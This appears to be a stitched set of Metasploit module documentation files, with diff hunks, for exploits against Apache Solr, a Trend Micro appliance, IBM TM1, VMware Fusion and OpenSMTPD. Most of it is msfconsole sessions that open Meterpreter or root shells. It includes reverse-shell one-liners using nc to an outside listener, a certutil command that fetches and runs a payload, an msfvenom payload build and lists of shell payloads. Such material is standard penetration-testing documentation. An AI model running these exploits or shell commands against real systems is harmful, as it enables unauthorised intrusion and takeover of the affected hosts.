3. Windows Exec: Executes a command and returns the output. Payload defaults to `cmd/windows/generic`
*nix systems have 2 targets:
1. Unix (in memory): Uses command execution. Payload defaults to `cmd/unix/reverse_bash`. Output may be returned depending on payload used.
2. Linux (dropper): Uses `CmdStager`. Payload defaults to `linux/x86/meterpreter/reverse_tcp`
Some `cmd/unix` payloads do not work due to a quoting problem: the entire command in the Velocity template is single-quoted
for the convenience of `CmdStager`. Some `cmd/unix` are single-quoted, so this breaks the Velocity template.
The full list of `cmd/unix` payloads that do not work due to the quoting problem are listed below:
1. cmd/unix/bind_awk
2. cmd/unix/bind_lua
3. cmd/unix/bind_nodejs
4. cmd/unix/bind_r
5. cmd/unix/bind_ruby
6. cmd/unix/bind_socat_udp
7. cmd/unix/reverse_awk
8. cmd/unix/reverse_lua
9. cmd/unix/reverse_nodejs
10. cmd/unix/reverse_perl
11. cmd/unix/reverse_perl_ssl
12. cmd/unix/reverse_php_ssl
13. cmd/unix/reverse_python
14. cmd/unix/reverse_python_ssl
15. cmd/unix/reverse_r
16. cmd/unix/reverse_ruby
17. cmd/unix/reverse_ruby_ssl
18. cmd/unix/reverse_socat_udp
29. generic/shell_bind_tcp
20. generic/shell_reverse_tcp
The full list of `cmd/unix` payloads that work:
1. cmd/unix/bind_netcat
2. cmd/unix/bind_netcat_gaping
3. cmd/unix/bind_perl
4. cmd/unix/bind_zsh
5. cmd/unix/generic
6. cmd/unix/pingback_bind
7. cmd/unix/pingback_reverse
8. cmd/unix/reverse
9. cmd/unix/reverse_bash
10. cmd/unix/reverse_bash_udp
11. cmd/unix/reverse_ksh
12. cmd/unix/reverse_openssl
13. cmd/unix/reverse_ncat_ssl
14. cmd/unix/reverse_netcat
15. cmd/unix/reverse_netcat_gaping
16. cmd/unix/reverse_zsh
These `cmd/unix` payloads have not fully tested with this module:
1. cmd/unix/bind_busybox_telnetd
3. cmd/unix/bind_netcat_gaping_ipv6
3. cmd/unix/bind_perl_ipv6
4. cmd/unix/bind_ruby_ipv6
5. cmd/unix/reverse_bash_telnet_ssl
6. cmd/unix/reverse_ssl_double_telnet
These `cmd/unix` payloads have not been tested:
1. cmd/unix/bind_stub
2. cmd/unix/reverse_stub
3. generic/custom
## Examples
### Windows Server 2019 Datacenter, fully patched, Solr 8.3.0, no authentication, using PowerShell
```
msf5 > use exploit/multi/http/solr_velocity_rce
msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.155
RHOSTS => 192.168.137.132
msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
LHOST => 192.168.137.128
msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 2
TARGET => 2
msf5 exploit(multi/http/solr_velocity_rce) > exploit
[*] Started reverse TCP handler on 192.168.137.128:4444
[*] Found Apache Solr 8.3.0
[*] OS version is Windows Server 2019 amd64 10.0
[*] Found core(s): techproducts
[*] Targeting core 'techproducts'
[+] Found Powershell at C:\Windows\System32\WindowsPowerShell\v1.0\
[*] Sending stage (180291 bytes) to 192.168.137.155
[*] Meterpreter session 1 opened (192.168.137.128:4444 -> 192.168.137.155:50210) at 2020-03-29 00:04:01 +0800
meterpreter > sysinfo
Computer : 2K19DTCTR
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
gSystem Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
meterpreter >
```
### Windows Server 2019 Datacenter, fully patched, Solr 8.3.0, no authentication, using CmdStager
```
msf5 > use exploit/multi/http/solr_velocity_rce
msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.155
RHOSTS => 192.168.137.132
msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
LHOST => 192.168.137.128
msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 3
TARGET => 3
msf5 exploit(multi/http/solr_velocity_rce) > exploit
[*] Started reverse TCP handler on 192.168.137.128:4444
[*] Found Apache Solr 8.3.0
[*] OS version is Windows Server 2019 amd64 10.0
[*] Found core(s): techproducts
[*] Targeting core 'techproducts'
[*] Sending CmdStager payload...
[*] Command Stager progress - 7.05% done (7160/101541 bytes)
[*] Command Stager progress - 14.10% done (14320/101541 bytes)
[*] Command Stager progress - 21.15% done (21480/101541 bytes)
[*] Command Stager progress - 28.21% done (28640/101541 bytes)
[*] Command Stager progress - 35.26% done (35800/101541 bytes)
[*] Command Stager progress - 42.31% done (42960/101541 bytes)
[*] Command Stager progress - 49.36% done (50120/101541 bytes)
[*] Command Stager progress - 56.41% done (57280/101541 bytes)
[*] Command Stager progress - 63.46% done (64440/101541 bytes)
[*] Command Stager progress - 70.51% done (71600/101541 bytes)
[*] Command Stager progress - 77.56% done (78760/101541 bytes)
[*] Command Stager progress - 84.62% done (85920/101541 bytes)
[*] Command Stager progress - 91.67% done (93080/101541 bytes)
[*] Command Stager progress - 98.67% done (100188/101541 bytes)
[*] Sending stage (180291 bytes) to 192.168.137.155
[*] Command Stager progress - 100.00% done (101541/101541 bytes)
[*] Meterpreter session 2 opened (192.168.137.128:4444 -> 192.168.137.155:50211) at 2020-03-29 00:06:01 +0800
meterpreter > sysinfo
Computer : 2K19DTCTR
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
meterpreter >
```
### Windows Server 2019 Datacenter, fully patched, Solr 8.3.0, no authentication, with payload `cmd/windows/generic`
```
msf5 > use exploit/multi/http/solr_velocity_rce
msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.155
RHOSTS => 192.168.137.132
msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
LHOST => 192.168.137.128
msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 4
TARGET => 4
msf5 exploit(multi/http/solr_velocity_rce) > set CMD whoami
CMD => whoami
msf5 exploit(multi/http/solr_velocity_rce) > exploit
[*] Found Apache Solr 8.3.0
[*] OS version is Windows Server 2019 amd64 10.0
[*] Found core(s): techproducts
[*] Targeting core 'techproducts'
[+] 2k19dtctr\administrator
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/solr_velocity_rce) >
```
### Bitnami Solr VM 8.3.0, requiring basic authentication, command execution in-memory, with payload `cmd/unix/reverse_bash`
```
msf5 > use exploit/multi/http/solr_velocity_rce
msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.129
RHOSTS => 192.168.137.129
msf5 exploit(multi/http/solr_velocity_rce) > set RPORT 80
RPORT => 80
msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 0
TARGET => 0
msf5 exploit(multi/http/solr_velocity_rce) > set USERNAME user
USERNAME => user
msf5 exploit(multi/http/solr_velocity_rce) > set PASSWORD j6lzH82e6Jc5
PASSWORD => j6lzH82e6Jc5
msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
LHOST => 192.168.137.128
msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/http/solr_velocity_rce) > exploit
[*] Started reverse TCP handler on 192.168.137.128:4444
[*] Found Apache Solr 8.3.0
[*] OS version is Linux amd64 4.9.0-11-amd64
[*] Found core(s): techproducts
[*] Targeting core 'techproducts'
[*] Command shell session 17 opened (192.168.137.128:4444 -> 192.168.137.129:48600) at 2020-03-29 00:20:50 +0800
id
uid=999(solr) gid=1002(solr) groups=1002(solr)
```
### Bitnami Solr VM 8.3.0, requiring basic authentication, command execution in-memory, with payload `cmd/unix/generic`
```
msf5 > use exploit/multi/http/solr_velocity_rce
msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.129
RHOSTS => 192.168.137.129
msf5 exploit(multi/http/solr_velocity_rce) > set RPORT 80
RPORT => 80
msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 0
TARGET => 0
msf5 exploit(multi/http/solr_velocity_rce) > set USERNAME user
USERNAME => user
msf5 exploit(multi/http/solr_velocity_rce) > set PASSWORD j6lzH82e6Jc5
PASSWORD => j6lzH82e6Jc5
msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
LHOST => 192.168.137.128
msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/http/solr_velocity_rce) > set CMD whoami
CMD => whoami
msf5 exploit(multi/http/solr_velocity_rce) > exploit
[*] Started reverse TCP handler on 192.168.137.128:4444
[*] Found Apache Solr 8.3.0
[*] OS version is Linux amd64 4.9.0-11-amd64
[*] Found core(s): techproducts
[*] Targeting core 'techproducts'
[+] solr
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/solr_velocity_rce) >
```
### Bitnami Solr VM 8.3.0, requiring basic authentication, using CmdStager, with payload `linux/x86/meterpreter/reverse_tcp`
```
msf5 > use exploit/multi/http/solr_velocity_rce
msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.129
RHOSTS => 192.168.137.129
msf5 exploit(multi/http/solr_velocity_rce) > set RPORT 80
RPORT => 80
msf5 exploit(multi/http/solr_velocity_rce) > set USERNAME user
USERNAME => user
msf5 exploit(multi/http/solr_velocity_rce) > set PASSWORD j6lzH82e6Jc5
PASSWORD => j6lzH82e6Jc5
msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 1
TARGET => 1
msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
LHOST => 192.168.137.128
msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/http/solr_velocity_rce) > exploit
[*] Started reverse TCP handler on 192.168.137.128:4444
[*] Found Apache Solr 8.3.0
[*] OS version is Linux amd64 4.9.0-11-amd64
[*] Found core(s): techproducts
[*] Targeting core 'techproducts'
[*] Using URL: http://0.0.0.0:8080/PDeRPN1t
[*] Local IP: http://192.168.137.128:8080/PDeRPN1t
[*] Client 192.168.137.129 (curl/7.52.1) requested /PDeRPN1t
[*] Sending payload to 192.168.137.129 (curl/7.52.1)
[*] Sending stage (985320 bytes) to 192.168.137.129
[*] Meterpreter session 18 opened (192.168.137.128:4444 -> 192.168.137.129:48604) at 2020-03-29 00:23:13 +0800
[*] Command Stager progress - 100.00% done (149/149 bytes)
[*] Server stopped.
meterpreter > sysinfo
Computer : 192.168.137.129
OS : Debian 9.11 (Linux 4.9.0-11-amd64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
```
@@ -1,14 +1,20 @@
## Vulnerable Application
This module exploits two vulnerabilities the Trend Micro Threat Discovery Appliance. The first is an authentication bypass vulnerability via a file delete in logoff.cgi which resets the admin password back to 'admin' upon a reboot (CVE-2016-7552). The second is a cmdi flaw using the timezone parameter in the admin_sys_time.cgi interface (CVE-2016-7547).
This module exploits two vulnerabilities the Trend Micro Threat Discovery Appliance. The first is an authentication
bypass vulnerability via a file delete in logoff.cgi which resets the admin password back to 'admin' upon a
reboot (CVE-2016-7552). The second is a cmdi flaw using the timezone parameter in the admin_sys_time.cgi interface (CVE-2016-7547).
Note: You have the option to use the authentication bypass or not since it requires that the server is rebooted. The password reset will render the authentication useless. Typically, if an administrator cant login, they will bounce the box. Therefore, this module performs a heart beat request until the box is bounced and then attempts to login and to perform the command injection. This module has been tested on version 2.6.1062r1 of the appliance.
Note: You have the option to use the authentication bypass or not since it requires that the server is rebooted.
The password reset will render the authentication useless. Typically, if an administrator cant login, they will bounce the box.
Therefore, this module performs a heart beat request until the box is bounced and then attempts to login and to
perform the command injection. This module has been tested on version 2.6.1062r1 of the appliance.
Trend Micro are not patching this vulnerability since this product is now ([EOL](https://success.trendmicro.com/solution/1105727-list-of-end-of-life-eol-end-of-support-eos-trend-micro-products)).
Trend Micro are not patching this vulnerability since this
product is now ([EOL](https://success.trendmicro.com/solution/1105727-list-of-end-of-life-eol-end-of-support-eos-trend-micro-products)).
![Demo](http://srcincite.io/poc/CVE-2016-7547.gif)
**Vulnerable Application Installation Steps**
### Vulnerable Application Installation Steps
List the steps needed to make sure this thing works
@@ -17,9 +23,31 @@ List the steps needed to make sure this thing works
- [ ] Click through the default install.
- [ ] You are ready to burn.
**Verification Steps**
## Verification Steps
A successful check of the exploit will look like this:
1. Install the appliance
2. Start metasploit
3. Do: ```use exploit/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi```
4. Do: ```set payload linux/x86/meterpreter/reverse_tcp```
5. Do: ```set RHOST [IP]```
6. Do: ```set LHOST [IP]```
7. Do: ```exploit```
8. The exploit will reset the admin password, now reboot the VM.
9. After reboot, you receive a root shell
## Options
### PASSWORD
Password for the system. Default is `admin`.
### AUTHBYPASS
Bypass the system's authentication. Defaults to `true`
## Scenarios
### Trendmicro Threat Discovery Appliance 2.6.1062r1
```
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/trend.rc
@@ -0,0 +1,87 @@
## Vulnerable Application
### Description
This module exploits a vulnerability in IBM TM1 / Planning Analytics that allows an unauthenticated attacker to perform a configuration overwrite.
It starts by querying the Admin server for the available applications, picks one, and then exploits it. You can also provide an application name to bypass this step, and exploit the application directly.
The configuration overwrite is used to change an application server authentication method to "CAM", a proprietary IBM auth method, which is simulated by the exploit.
The exploit then performs a fake authentication as admin, and finally abuses TM1 scripting to perform a command injection as root or SYSTEM.
This module starts by querying the Admin server, which usually runs on port 5498 with SSL enabled, or 5495 without SSL. This can be queried by a normal client without authentication, and with that we retrieve a list of applications, the servers where they are running, the ports where they are running, and if they use SSL or not.
Note that there might be cases where the applications do not run on the same host as the Admin server; however this is expected to be rare. Even in that case, the exploit should work perfectly, as it uses the information from the Admin server to connect to the Application server host, and automatically sets up SSL if needed.
If you know the application name, port and SSL status, you can enter this directly into the exploit, which then will not perform the Admin server query. For this, enter the application port in the `RPORT` option, whether it uses SSL in the `SSL` option, and finally set `APP_NAME` to the application name.
Testing was done on IBM PA 2.0.6 and IBM TM1 10.2.2 on Windows and Linux.
Versions up to and including PA 2.0.8 are vulnerable. It is likely that versions earlier than TM1 10.2.2 are also vulnerable (10.2.2 was released in 2014).
Users are encouraged to share success stories with the module author, Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security. For more information, check the full advisory at https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-tm1-rce.txt.
### Setup
To obtain the vulnerable application you need an official IBM installer for IBM Planning Analytics or IBM TM1. This exploit works perfectly for both Windows and Linux targets.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: ```use [module path]```
4. Do: ```set srvhost [lhost]```
5. Do: ```set target [0|1]```
6. Do: ```set rhost [rhost]```
7. Do: ```run```
8. You should get a shell.
## Options
**SSL**
Whether to use SSL to connect to the Admin / Application server (default true)
**APP_NAME**
Application name to use to connect directly, bypassing Admin server query (default unset).
**AUTH_ATTEMPTS**
Number of attempts to authentication to the fake CAM server (default 10).
## Scenarios
```
[*] Started reverse TCP handler on 192.168.1.1:4444
[*] 192.168.1.138:5498 - Connecting to admin server and obtaining application data
[+] 192.168.1.138:5498 - Found app GO_New_Stores tcp ip: 192.168.1.138 port: 45557 available: 1 SSL: 1
[+] 192.168.1.138:5498 - Found app GO_Scorecards tcp ip: 192.168.1.138 port: 54321 available: 1 SSL: 1
[+] 192.168.1.138:5498 - Found app Planning Sample tcp ip: 192.168.1.138 port: 12345 available: 1 SSL: 1
[+] 192.168.1.138:5498 - Found app proven_techniques tcp ip: 192.168.1.138 port: 17797 available: 1 SSL: 1
[+] 192.168.1.138:5498 - Found app SData tcp ip: 192.168.1.138 port: 12346 available: 1 SSL: 1
[*] 192.168.1.138:5498 - Picked SData as our target, connecting...
[+] 192.168.1.138:5498 - Current auth method is 1, we're good to go!
[*] 192.168.1.138:5498 - Starting up the fake CAM server...
[*] 192.168.1.138:5498 - Using URL: http://192.168.1.1:4466/
[*] 192.168.1.138:5498 - Changing authentication method to 4 (CAM auth)
[*] 192.168.1.138:5498 - Authenticating using CAM Passport and our fake CAM Service...
[+] 192.168.1.138:5498 - CAM: Received first CAM query, responding with account info
[+] 192.168.1.138:5498 - CAM: Received second CAM query, responding with session info
[+] 192.168.1.138:5498 - CAM: Received third CAM query, responding with random garbage
[*] 192.168.1.138:5498 - Creating our Process object...
[*] 192.168.1.138:5498 - Adding command :"certutil.exe -urlcache -split -f http://192.168.1.1:4466/ C:\Windows\Temp\KWFUmh.exe" to the Process object...
[*] 192.168.1.138:5498 - Adding command :"C:\Windows\Temp\KWFUmh.exe" to the Process object...
[*] 192.168.1.138:5498 - Registering the Process object under the name 'cRKnsLzFFwDI'
[*] 192.168.1.138:5498 - Now let's execute the Process object!
[+] 192.168.1.138:5498 - CAM: Received request for payload executable, shell incoming!
[+] 192.168.1.138:5498 - CAM: Received request for payload executable, shell incoming!
[*] Sending stage (180291 bytes) to 192.168.1.138
[*] Meterpreter session 6 opened (192.168.1.1:4444 -> 192.168.1.138:49306) at 2020-03-27 12:24:55 +0700
[*] 192.168.1.138:5498 - Restoring original authentication method 1
[*] 192.168.1.138:5498 - Server stopped.
[!] 192.168.1.138:5498 - This exploit may require manual cleanup of 'C:\Windows\Temp\KWFUmh.exe' on the target
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit
[*] Shutting down Meterpreter...
```
@@ -0,0 +1,218 @@
## Vulnerable Application
This exploits an improper use of setuid binaries within VMware Fusion 10.1.3 - 11.5.2. The `Open VMware USB Arbitrator Service` can be
launched outide of its standard path which allows loading of an attacker controlled binary. By creating a payload in the user home
directory in a specific folder, and creating a hard link to the `Open VMware USB Arbitrator Service`, we're able to launch it
temporarily to start our payload with an effective UID of 0.
Additional description can be found in
@mirchr's [exploit](https://raw.githubusercontent.com/mirchr/security-research/master/vulnerabilities/CVE-2020-3950.sh).
It was found that VMware Fusion 11.5.3, which patched the previous vulnerability utilized an incomplete patch. The patch checked
for a correct code signature on the `VMware USB Arbitrator Service` at start, but not at launch, thus creating a TOCTOU race
condition. The discoverer @jeffball55 demoed the exploit working in ~30 attempts. This module has been successful between
5 and 25 attempts.
VMware Fusion 11.5.1 is available from [VMware](https://download3.vmware.com/software/fusion/file/VMware-Fusion-11.5.1-15018442.dmg).
## Verification Steps
1. Install the application
2. Start msfconsole
3. Get a shell
4. Do: ```use exploit/osx/local/vmware_fusion_lpe```
5. Do: ```set session #```
6. Do: ```run```
7. You should get a `euid=0` shell.
## Options
### MAXATTEMPTS
The maximum attempts to start `VMware USB Arbitrator Service`, attempting to win the race against 11.5.3. Default is `75`.
### Session
Which session to use this exploit on.
## Scenarios
### VMware Fusion 10.1.6
```
msf5 exploit(osx/local/vmware_fusion_lpe) > run
[!] SESSION may not be compatible with this module.
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[+] Vmware Fusion 10.1.6 is exploitable
[*] Using pre-11.5.3 exploit
[*] Uploading Payload: /Users/wvu/Contents/Library/services/VMware USB Arbitrator Service
[*] Max line length is 131073
[*] Writing 804084 bytes in 25 chunks of 111592 bytes (octal-encoded), using printf
[*] Next chunk is 117552 bytes
[*] Next chunk is 116480 bytes
[*] Next chunk is 114764 bytes
[*] Next chunk is 113263 bytes
[*] Next chunk is 111420 bytes
[*] Next chunk is 112649 bytes
[*] Next chunk is 115231 bytes
[*] Next chunk is 113278 bytes
[*] Next chunk is 114696 bytes
[*] Next chunk is 114109 bytes
[*] Next chunk is 118500 bytes
[*] Next chunk is 119288 bytes
[*] Next chunk is 116736 bytes
[*] Next chunk is 114000 bytes
[*] Next chunk is 114444 bytes
[*] Next chunk is 114460 bytes
[*] Next chunk is 116528 bytes
[*] Next chunk is 112788 bytes
[*] Next chunk is 84713 bytes
[*] Next chunk is 106180 bytes
[*] Next chunk is 89744 bytes
[*] Next chunk is 87533 bytes
[*] Next chunk is 127271 bytes
[*] Next chunk is 71468 bytes
[*] Created folder (/Users/wvu/Bvr/k8h88/GAymi/) and link
[*] Starting USB Service (5 sec pause)
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:63876) at 2020-04-02 11:00:59 -0500
[+] Deleted /Users/wvu/Contents/Library/services/VMware USB Arbitrator Service
[*] Killing service
[*] Deleting /Users/wvu/Bvr
meterpreter > getuid
Server username: wvu @ [redacted] (uid=[redacted], gid=[redacted], euid=0, egid=[redacted])
meterpreter >
```
### VMware Fusion 11.5.1 (15018442) on macOS 10.15.3 (19D76)
```
/msfvenom --payload python/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=8888 -b "\x00" -o /var/www/html/meterp_8888.py
```
```
[*] Processing fusion.rb for ERB directives.
resource (fusion.rb)> setg verbose true
verbose => true
resource (fusion.rb)> use exploit/multi/handler
resource (fusion.rb)> set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
resource (fusion.rb)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (fusion.rb)> set lport 8888
lport => 8888
resource (fusion.rb)> exploit
[+] Vmware Fusion 11.5.1 is exploitable
[*] The target appears to be vulnerable.
[*] Started reverse TCP handler on 1.1.1.1:8888
[*] Sending stage (53755 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:8888 -> 2.2.2.2:49265) at 2020-03-23 18:07:57 -0400
meterpreter > getuid
Server username: h00die
meterpreter > sysinfo
Computer : h00dies-MBP.doman
OS : Darwin 19.3.0 Darwin Kernel Version 19.3.0: Thu Jan 9 20:58:23 PST 2020; root:xnu-6153.81.5~1/RELEASE_X86_64
Architecture : x64
System Language : en_US
Meterpreter : python/osx
meterpreter > background
[*] Backgrounding session 1...
```
```
resource (fusion.rb)> use exploit/osx/local/vmware_fusion_lpe
resource (fusion.rb)> set session 1
session => 1
resource (fusion.rb)> exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 1.1.1.1:4444
[+] Vmware Fusion 11.5.1 is exploitable
[*] Using pre-11.5.3 exploit
[*] Uploading Payload: /Users/h00die/Contents/Library/services/VMware USB Arbitrator Service
[*] Creating folder (/Users/h00die/2KLH/s0m/wX8XO/) and link
[*] Starting USB Arbitrator Service (5 sec pause)
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49269) at 2020-03-23 18:08:14 -0400
[+] Deleted /Users/h00die/Contents/Library/services/VMware USB Arbitrator Service
[*] Killing service
[*] Deleting /Users/h00die/2KLH
meterpreter > getuid
Server username: h00die @ h00dies-MBP.domain (uid=501, gid=20, euid=0, egid=20)
meterpreter > sysinfo
Computer : h00dies-MBP.domain
OS : macOS Unknown (macOS 10.15.3)
Architecture : x86
BuildTuple : x86_64-apple-darwin
Meterpreter : x64/osx
```
### VMWare Fusion 11.5.3 on macOS 10.15.3
```
resource (fusion.rb)> setg verbose true
verbose => true
resource (fusion.rb)> use exploit/multi/handler
resource (fusion.rb)> set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
resource (fusion.rb)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (fusion.rb)> set lport 8888
lport => 8888
resource (fusion.rb)> exploit
[*] Started reverse TCP handler on 1.1.1.1:8888
[*] Sending stage (53755 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:8888 -> 2.2.2.2:49198) at 2020-03-28 07:37:16 -0400
meterpreter > getuid
Server username: h00die
meterpreter > sysinfo
Computer : h00dies-MBP.ragedomain
OS : Darwin 19.3.0 Darwin Kernel Version 19.3.0: Thu Jan 9 20:58:23 PST 2020; root:xnu-6153.81.5~1/RELEASE_X86_64
Architecture : x64
System Language : en_US
Meterpreter : python/osx
meterpreter > background
[*] Backgrounding session 1...
```
```
resource (fusion.rb)> use exploit/osx/local/vmware_fusion_lpe
resource (fusion.rb)> set session 1
session => 1
resource (fusion.rb)> exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 1.1.1.1:4444
[+] Vmware Fusion 11.5.3 is exploitable
[*] Using 11.5.3 exploit
[*] Uploading Payload to /Users/h00die/Contents/Library/services/SAGgama
[*] Uploading race condition executable.
[*] Writing '/Users/h00die/Contents/Library/services/TVOK7bDP' (342 bytes) ...
[*] Creating folder (/Users/h00die/weGd/JvR/VoYDt/) and link
[*] Writing '/Users/h00die/Contents/Library/services/alYnwGRyo' (178 bytes) ...
[*] Launching Exploit /Users/h00die/Contents/Library/services/alYnwGRyo
[*] attempt 1
[*] Exploit Finished, killing
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49213) at 2020-03-28 07:37:28 -0400
[-] Unable to delete /Users/h00die/Contents/Library/services/VMware USB Arbitrator Service
[+] Deleted /Users/h00die/Contents/Library/services/TVOK7bDP
[-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_fs_delete_dir: Operation failed: Python exception: OSError
[*] Exploit completed, but no session was created.
msf5 exploit(osx/local/vmware_fusion_lpe) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: h00die @ h00dies-MBP.ragedomain (uid=501, gid=20, euid=0, egid=20)
meterpreter > sysinfo
Computer : h00dies-MBP.ragedomain
OS : macOS Unknown (macOS 10.15.3)
Architecture : x86
BuildTuple : x86_64-apple-darwin
Meterpreter : x64/osx
meterpreter >
```
@@ -0,0 +1,139 @@
## Vulnerable Application
### Description
This module exploits an out-of-bounds read of an attacker-controlled
string in OpenSMTPD's MTA implementation to execute a command as the
root or nobody user, depending on the kind of grammar OpenSMTPD uses.
### Setup
1. Download [OpenBSD 6.6](https://cdn.openbsd.org/pub/OpenBSD/6.6/amd64/install66.iso)
2. Install the system
### Targets
```
Id Name
-- ----
0 OpenSMTPD < 6.6.4 (automatic grammar selection)
```
## Verification Steps
Follow [Setup](#setup) and [Scenarios](#scenarios).
## Options
**SESSION**
Set this to a valid session ID on an OpenBSD target.
## Scenarios
### OpenSMTPD 6.6.0 on OpenBSD 6.6
```
msf5 > use exploit/unix/local/opensmtpd_oob_read_lpe
msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > show missing
Module options (exploit/unix/local/opensmtpd_oob_read_lpe):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > set lhost 172.16.249.1
lhost => 172.16.249.1
msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > set session 1
session => 1
msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > run
[+] mkfifo /tmp/gkhbba; nc 172.16.249.1 4444 0</tmp/gkhbba | /bin/sh >/tmp/gkhbba 2>&1; rm /tmp/gkhbba
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.249.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] OpenSMTPD 6.6.0 is using new grammar
[+] The target appears to be vulnerable. OpenSMTPD 6.6.0 appears vulnerable to CVE-2020-8794
[*] Started service listener on 0.0.0.0:25
[*] Executing local sendmail(8) command: /usr/sbin/sendmail 'brvaysxuzssmnjkysoh@[172.16.249.1]' < /dev/null && echo true
[*] Client 172.16.249.137:37747 connected
[*] Exploiting new OpenSMTPD grammar for a root shell
[*] Faking SMTP server and sending exploit
[*] Sending: 220
[*] Expecting: /EHLO /
[+] Received: EHLO
[*] Sending: 250
[*] Expecting: /MAIL FROM:<[^>]/
[+] Received: foo.localdomain
MAIL FROM:<w
[*] Sending: 553-
553
dispatcher: local_mail
type: mda
mda-user: root
mda-exec: mkfifo /tmp/rettgqm; nc 172.16.249.1 4444 0</tmp/rettgqm | /bin/sh >/tmp/rettgqm 2>&1; rm /tmp/rettgqm; exit 0
[*] Disconnecting client 172.16.249.137:37747
[*] Command shell session 3 opened (172.16.249.1:4444 -> 172.16.249.137:3005) at 2020-03-03 18:40:54 -0600
[*] Server stopped.
id
uid=0(root) gid=0(wheel) groups=0(wheel)
uname -a
OpenBSD foo.localdomain 6.6 GENERIC#353 amd64
^Z
Background session 3? [y/N] y
```
### OpenSMTPD 6.0.4 on OpenBSD 6.3
```
msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > set session 2
session => 2
msf5 exploit(unix/local/opensmtpd_oob_read_lpe) > run
[+] mkfifo /tmp/hkioy; nc 172.16.249.1 4444 0</tmp/hkioy | /bin/sh >/tmp/hkioy 2>&1; rm /tmp/hkioy
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.249.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] OpenSMTPD 6.0.4 is using old grammar
[+] The target appears to be vulnerable. OpenSMTPD 6.0.4 appears vulnerable to CVE-2020-8794
[*] Started service listener on 0.0.0.0:25
[*] Executing local sendmail(8) command: /usr/sbin/sendmail 'nozahdogyxewkv@[172.16.249.1]' < /dev/null && echo true
[*] Client 172.16.249.138:10203 connected
[*] Exploiting old OpenSMTPD grammar for a nobody shell
[*] Faking SMTP server and sending exploit
[*] Sending: 220
[*] Expecting: /EHLO /
[+] Received: EHLO
[*] Sending: 250
[*] Expecting: /MAIL FROM:<[^>]/
[+] Received: foo.localdomain
MAIL FROM:<w
[*] Sending: 553-
553
type: mda
mda-method: mda
mda-usertable: <getpwnam>
mda-user: nobody
mda-buffer: mkfifo /tmp/jszy; nc 172.16.249.1 4444 0</tmp/jszy | /bin/sh >/tmp/jszy 2>&1; rm /tmp/jszy; exit 0
[*] Disconnecting client 172.16.249.138:10203
